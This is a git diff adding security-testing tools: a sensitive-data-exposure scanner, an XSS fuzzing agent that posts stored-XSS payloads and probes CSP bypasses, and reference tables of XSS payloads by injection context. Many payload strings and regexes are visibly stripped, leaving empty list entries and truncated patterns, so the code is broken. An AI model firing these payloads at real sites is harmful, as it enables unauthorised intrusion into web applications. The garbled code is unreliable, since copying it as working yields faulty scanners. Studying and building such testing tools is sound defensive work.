+ findings.append({ + "type": "NO_HTTPS_REDIRECT", "host": host, + "status": resp.status_code, "severity": "HIGH", + }) + print(f" [!] HTTP does not redirect to HTTPS (status {resp.status_code})") + else: + location = resp.headers.get("Location", "") + if location.startswith("https://"): + print(f" [+] HTTP redirects to HTTPS") + except requests.RequestException: + print(f" [+] HTTP not accessible (HTTPS only)") + + try: + resp = requests.get(f"https://{host}/", timeout=5, verify=False) + hsts = resp.headers.get("Strict-Transport-Security", "") + if not hsts: + findings.append({"type": "MISSING_HSTS", "host": host, "severity": "MEDIUM"}) + print(f" [!] Missing HSTS header") + else: + print(f" [+] HSTS: {hsts}") + except requests.RequestException: + pass + return findings + + +def check_error_verbosity(base_url): + """Test if error responses leak sensitive information.""" + print("\n[*] Testing error response verbosity...") + findings = [] + test_requests = [ + {"method": "POST", "url": "/api/users", "data": '{"invalid": data'}, + {"method": "GET", "url": "/api/nonexistent/path"}, + {"method": "GET", "url": "/api/users/999999999"}, + ] + verbose_patterns = ["traceback", "stack trace", "exception", "sql", "at line", + "file \"", "internal server", "debug"] + for tr in test_requests: + url = urljoin(base_url, tr["url"]) + try: + resp = requests.request(tr["method"], url, data=tr.get("data"), + timeout=10, verify=False) + text_lower = resp.text.lower() + matches = [p for p in verbose_patterns if p in text_lower] + if matches: + findings.append({ + "type": "VERBOSE_ERROR", "url": tr["url"], + "patterns": matches, "severity": "MEDIUM", + }) + print(f" [!] {tr['url']}: Verbose error ({matches})") + except requests.RequestException: + continue + return findings + + +def generate_report(findings, output_path): + """Generate sensitive data exposure report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_type": {}, + "findings": findings, + } + for f in findings: + t = f.get("type", "UNKNOWN") + report["by_type"][t] = report["by_type"].get(t, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Total: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="Sensitive Data Exposure Testing Agent") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--token", help="Bearer token for authenticated testing") + parser.add_argument("--endpoints", nargs="+", + default=["/api/users/me", "/api/users", "/api/account"]) + parser.add_argument("-o", "--output", default="data_exposure_report.json") + args = parser.parse_args() + + print(f"[*] Sensitive Data Exposure Assessment: {args.base_url}") + findings = [] + findings.extend(scan_javascript_files(args.base_url)) + findings.extend(check_config_files(args.base_url)) + findings.extend(check_error_verbosity(args.base_url)) + from urllib.parse import urlparse + host = urlparse(args.base_url).netloc + findings.extend(check_tls_config(host)) + if args.token: + findings.extend(check_api_data_exposure(args.base_url, args.token, args.endpoints)) + findings.extend(check_security_headers(args.base_url, args.endpoints)) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-xml-injection-vulnerabilities/LICENSE b/skills/testing-for-xml-injection-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-xml-injection-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE b/skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md b/skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md new file mode 100644 index 00000000..986da50c --- /dev/null +++ b/skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Testing for XSS Vulnerabilities with Burp Suite + +## Burp Suite Professional Components + +### Scanner +- Active scan: Automatically tests parameters for XSS +- Passive scan: Identifies reflected inputs and missing security headers +- Scan configuration: XSS-focused audit checks + +### Repeater +- Send individual requests for manual payload testing +- Compare request/response pairs across payload variations +- Test character encoding behavior + +### Intruder +- Positions: Mark injectable parameters +- Payloads: Load XSS wordlists +- Grep-Match: Flag responses containing `alert(`, `onerror=`, `', + '', + '', + '', + '', + '', + '
', + '">', + "'-alert(document.domain)-'", + "\\'-alert(document.domain)//", + '', + '', +] + + +def find_reflection_points(base_url, token=None): + """Crawl pages and find parameters that reflect user input.""" + print("[*] Finding reflection points...") + headers = {"Authorization": f"Bearer {token}"} if token else {} + reflections = [] + try: + resp = requests.get(base_url, headers=headers, timeout=15, verify=False) + forms = re.findall(r']*action=["\']([^"\']*)["\'][^>]*>(.*?)', + resp.text, re.DOTALL | re.IGNORECASE) + for action, form_body in forms: + inputs = re.findall(r']*name=["\']([^"\']*)["\']', form_body, re.IGNORECASE) + for inp in inputs: + reflections.append({"url": action or base_url, "param": inp, "method": "GET"}) + links = re.findall(r'href=["\']([^"\']*\?[^"\']*)["\']', resp.text) + for link in links[:20]: + parsed = urlparse(link) + params = dict(p.split("=", 1) for p in parsed.query.split("&") if "=" in p) + for param in params: + reflections.append({"url": link.split("?")[0], "param": param, "method": "GET"}) + except requests.RequestException as e: + print(f" [-] Error crawling: {e}") + print(f" [+] Found {len(reflections)} potential injection points") + return reflections + + +def test_character_encoding(url, param, token=None): + """Test which special characters are reflected unencoded.""" + headers = {"Authorization": f"Bearer {token}"} if token else {} + test_string = '<>"\'&/`()' + full_url = f"{url}?{param}={quote(test_string)}" + try: + resp = requests.get(full_url, headers=headers, timeout=10, verify=False) + unencoded = [ch for ch in test_string if ch in resp.text] + return unencoded + except requests.RequestException: + return [] + + +def fuzz_xss_payloads(base_url, param_url, param_name, token=None, payloads=None): + """Fuzz a parameter with XSS payloads and check for reflection.""" + if payloads is None: + payloads = XSS_WORDLIST + headers = {"Authorization": f"Bearer {token}"} if token else {} + findings = [] + for payload in payloads: + url = f"{urljoin(base_url, param_url)}?{param_name}={quote(payload)}" + try: + resp = requests.get(url, headers=headers, timeout=10, verify=False) + if payload in resp.text: + findings.append({ + "type": "REFLECTED_XSS", "url": param_url, "param": param_name, + "payload": payload, "severity": "HIGH", + }) + print(f" [!] REFLECTED: {param_name}={payload[:40]}...") + break + except requests.RequestException: + continue + return findings + + +def test_stored_xss_endpoints(base_url, endpoints, token): + """Test stored XSS via common input endpoints.""" + print("\n[*] Testing stored XSS endpoints...") + findings = [] + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + test_payloads = XSS_WORDLIST[:3] + + for ep in endpoints: + url = urljoin(base_url, ep["submit"]) + for payload in test_payloads: + try: + data = {ep.get("field", "body"): payload} + resp = requests.post(url, headers=headers, json=data, timeout=10, verify=False) + if resp.status_code in (200, 201): + display_url = urljoin(base_url, ep["display"]) + display_resp = requests.get(display_url, headers=headers, timeout=10, verify=False) + if payload in display_resp.text: + findings.append({ + "type": "STORED_XSS", "submit": ep["submit"], + "display": ep["display"], "field": ep.get("field", "body"), + "payload": payload, "severity": "CRITICAL", + }) + print(f" [!] STORED XSS: {ep['submit']} -> {ep['display']}") + break + except requests.RequestException: + continue + return findings + + +def analyze_csp(base_url): + """Analyze CSP header for XSS bypass opportunities.""" + print("\n[*] Analyzing CSP for bypass opportunities...") + findings = [] + try: + resp = requests.get(base_url, timeout=10, verify=False) + csp = resp.headers.get("Content-Security-Policy", "") + if not csp: + findings.append({"type": "NO_CSP", "detail": "No CSP header present", "severity": "MEDIUM"}) + print(" [!] No CSP header - inline scripts will execute") + return findings + + directives = {} + for part in csp.split(";"): + part = part.strip() + if " " in part: + key, value = part.split(" ", 1) + directives[key] = value + + script_src = directives.get("script-src", directives.get("default-src", "")) + weaknesses = [] + if "'unsafe-inline'" in script_src: + weaknesses.append("unsafe-inline allows inline scripts") + if "'unsafe-eval'" in script_src: + weaknesses.append("unsafe-eval allows eval()") + if "data:" in script_src: + weaknesses.append("data: URIs allowed in script-src") + wildcard_domains = re.findall(r'\*\.\S+', script_src) + if wildcard_domains: + weaknesses.append(f"Wildcard domains: {wildcard_domains}") + + for w in weaknesses: + findings.append({"type": "CSP_WEAKNESS", "detail": w, "severity": "HIGH"}) + print(f" [!] CSP weakness: {w}") + if not weaknesses: + print(f" [+] CSP appears well-configured") + except requests.RequestException: + pass + return findings + + +def generate_report(findings, output_path): + """Generate XSS assessment report.""" + report = { + "assessment_date": datetime.now().isoformat(), + "total_findings": len(findings), + "by_severity": {}, + "findings": findings, + } + for f in findings: + s = f.get("severity", "INFO") + report["by_severity"][s] = report["by_severity"].get(s, 0) + 1 + with open(output_path, "w") as fh: + json.dump(report, fh, indent=2) + print(f"\n[*] Report: {output_path} | Findings: {len(findings)}") + + +def main(): + parser = argparse.ArgumentParser(description="XSS Testing Agent (Burp Suite Companion)") + parser.add_argument("base_url", help="Base URL of the target") + parser.add_argument("--token", help="Bearer token for authentication") + parser.add_argument("--params", nargs="+", help="URL?param pairs to test") + parser.add_argument("-o", "--output", default="xss_burp_report.json") + args = parser.parse_args() + + print(f"[*] XSS Testing (Burp Suite Companion): {args.base_url}") + findings = [] + findings.extend(analyze_csp(args.base_url)) + reflections = find_reflection_points(args.base_url, args.token) + for ref in reflections[:15]: + unencoded = test_character_encoding( + urljoin(args.base_url, ref["url"]), ref["param"], args.token) + if "<" in unencoded or '"' in unencoded: + findings.extend(fuzz_xss_payloads( + args.base_url, ref["url"], ref["param"], args.token)) + generate_report(findings, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/testing-for-xss-vulnerabilities/LICENSE b/skills/testing-for-xss-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/testing-for-xss-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/testing-for-xss-vulnerabilities/references/api-reference.md b/skills/testing-for-xss-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..eeb006e5 --- /dev/null +++ b/skills/testing-for-xss-vulnerabilities/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Testing for XSS Vulnerabilities + +## requests Library for XSS Testing + +### Reflection Testing +```python +from urllib.parse import quote +# Inject canary to find reflection points +resp = requests.get(f"{url}?q={canary}") +if canary in resp.text: + # Input is reflected - test payloads + resp = requests.get(f"{url}?q={quote(payload)}") +``` + +## XSS Payload Categories +| Context | Example Payload | +|---------|----------------| +| HTML body | `` | +| HTML attribute | `" onfocus=alert(1) autofocus="` | +| JavaScript string | `';alert(1)//` | +| URL/href | `javascript:alert(1)` | +| Event handler | `` | +| SVG | `` | +| Filter bypass | `` | + +## XSS Types +| Type | Description | Persistence | +|------|-------------|-------------| +| Reflected | Payload in URL/request, reflected in response | Non-persistent | +| Stored | Payload saved server-side, rendered to others | Persistent | +| DOM-based | Payload processed by client-side JavaScript | Client-side | + +## CSP Analysis +| Directive | Insecure Value | Risk | +|-----------|---------------|------| +| `script-src` | `'unsafe-inline'` | Allows inline `', + '', + '
', + '
', + ], + "html_attribute": [ + '" onfocus=alert(1) autofocus="', + '" onmouseover=alert(1) "', + '">', + "' onfocus=alert(1) autofocus='", + ], + "javascript_context": [ + "';alert(1)//", + "\\';alert(1)//", + "", + ], + "filter_bypass": [ + '', + '', + '', + '